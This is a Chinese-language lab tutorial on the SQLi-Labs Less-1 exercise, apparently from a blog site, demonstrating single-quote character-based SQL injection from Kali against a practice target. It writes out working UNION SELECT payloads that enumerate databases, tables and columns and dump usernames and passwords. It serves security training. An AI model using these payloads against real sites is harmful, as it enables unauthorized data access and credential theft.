【less-1】基于SQLI的SQL字符型报错注入

简介: 【less-1】基于SQLI的SQL字符型报错注入

实验目的

通过本实验理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。

实验环境

渗透主机:KALI平台

目标网站:SQLI平台的Less-1科目

注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)

实验原理

1.MySQL语言的注释语法:

– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

2.Less-1源代码:

1)进入SQLI网站的源码路径

  使用命令 vim index.php浏览Less-1所对应的网页源码

可以看到页面中显示:

在URL后面输入?id=1,得到了 登录名:Dumb,以及密码:Dumb

仔细阅读源码

得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:

实验步骤

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-1

(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1。

(2)在上面的URL末端加上?id=1的动态参数,页面显示登录用户名Dumb、密码Dumb:

第三步 尝试判断是否存在SQL注入以及哪种注入类型

(1)经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。

(2)尝试在id后面加上’(单引号),发现页面回显不正常,表示可能存在SQL字符注入。

3)输入- -+将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。

第四步 手工SQL注入获得数据库的用户名与密码

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。


(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ order by N - -+



(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,2,3 - -+


(3)利用sql查询语句爆破出数据库内的数据库名。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+


(4)利用sql查询语句爆破出security数据库内的表名。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+


(5)利用sql查询语句爆破出users数据表内的列名。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’ --+


(6)利用sql查询语句爆破出username、password列的值。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(username),

group_concat(password) from security.users --+

思考与总结

通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。

相关文章
|
1天前
|
SQL 安全 前端开发
SQL注入基础
SQL注入基础
8 2
|
3天前
|
SQL Java 关系型数据库
Java与数据库连接技术JDBC关键核心之PreparedStatement以及SQL注入演示解决和原理
Java与数据库连接技术JDBC关键核心之PreparedStatement以及SQL注入演示解决和原理
9 0
|
4天前
|
SQL 分布式计算 前端开发
MaxCompute操作报错合集之SQL脚本设置参数set odps.mapred.reduce.tasks=18;没有生效,是为什么
MaxCompute是阿里云提供的大规模离线数据处理服务,用于大数据分析、挖掘和报表生成等场景。在使用MaxCompute进行数据处理时,可能会遇到各种操作报错。以下是一些常见的MaxCompute操作报错及其可能的原因与解决措施的合集。
|
4天前
|
SQL 分布式计算 大数据
MaxCompute操作报错合集之使用spark.sql执行rename分区操作,遇到任务报错退出的情况,该怎么办
MaxCompute是阿里云提供的大规模离线数据处理服务,用于大数据分析、挖掘和报表生成等场景。在使用MaxCompute进行数据处理时,可能会遇到各种操作报错。以下是一些常见的MaxCompute操作报错及其可能的原因与解决措施的合集。
|
4天前
|
SQL 分布式计算 大数据
MaxCompute操作报错合集之执行sql时,出现Cannot read properties of undefined (reading 'start')错误提示,该怎么办
MaxCompute是阿里云提供的大规模离线数据处理服务,用于大数据分析、挖掘和报表生成等场景。在使用MaxCompute进行数据处理时,可能会遇到各种操作报错。以下是一些常见的MaxCompute操作报错及其可能的原因与解决措施的合集。
|
8天前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
9天前
|
SQL 数据库
sql注入方式
sql注入方式
10 0
|
9天前
【干货】sql-labs、请求方式、注入类型、拼接方式
【干货】sql-labs、请求方式、注入类型、拼接方式
8 0
|
9天前
|
SQL 开发框架 安全
【干货】如何判断 Sql 注入点
【干货】如何判断 Sql 注入点
14 1
|
9天前
|
SQL Web App开发 安全
【Less-9】基于SQLI的SQL时间盲注
【Less-9】基于SQLI的SQL时间盲注
11 0